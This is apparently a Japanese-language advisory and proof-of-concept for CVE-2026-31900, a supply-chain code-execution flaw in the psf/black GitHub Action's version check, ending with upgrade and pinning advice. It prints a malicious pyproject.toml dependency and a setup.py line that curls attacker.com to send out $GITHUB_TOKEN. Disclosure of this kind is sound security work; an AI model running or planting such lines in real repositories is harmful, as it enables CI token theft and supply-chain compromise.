| フィールド | 詳細 |
|---|
| CVE | CVE-2026-31900 |
| CVSS | 8.7 (高) |
| アドバイザリ | GHSA-v53h-f6m7-xcgm |
| 影響を受けるバージョン | psf/black GitHub Action < v26.3.0 |
| タイプ | サプライチェーン経由の RCE (pull_request トリガー) |
use_pyproject: true オプションは pyproject.toml から Black のバージョンを読み取ります。バージョン文字列の検証に使用される正規表現は re.IGNORECASE により過度に寛容で、スペース、@、:、/ などの文字を許可します — これは PEP 508 URL 要件に必要なものとまったく同じです。
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)
pyproject.toml を変更する:[project]
dependencies = [
"black @ https://attacker.com/malicious_black.tar.gz"
]
pull_request ワークフロートリガーが発火するpyproject.toml から悪意のあるバージョンを読み取り、正規表現検証をバイパスするsetup.py が任意のコードを実行するsetup.py の例from setuptools import setup
import os
os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")
$GITHUB_TOKEN (CI ランナートークン)psf/black v26.3.0 にアップグレードするか、use_pyproject: true を使用せずにワークフロー YAML でバージョンを明示的に固定してください。
.github/workflows/black.yml ← 脆弱なワークフロー (use_pyproject: true)
pyproject.toml ← 正規の設定 (main ブランチ)
app.py ← フォーマット対象のサンプル Python ファイル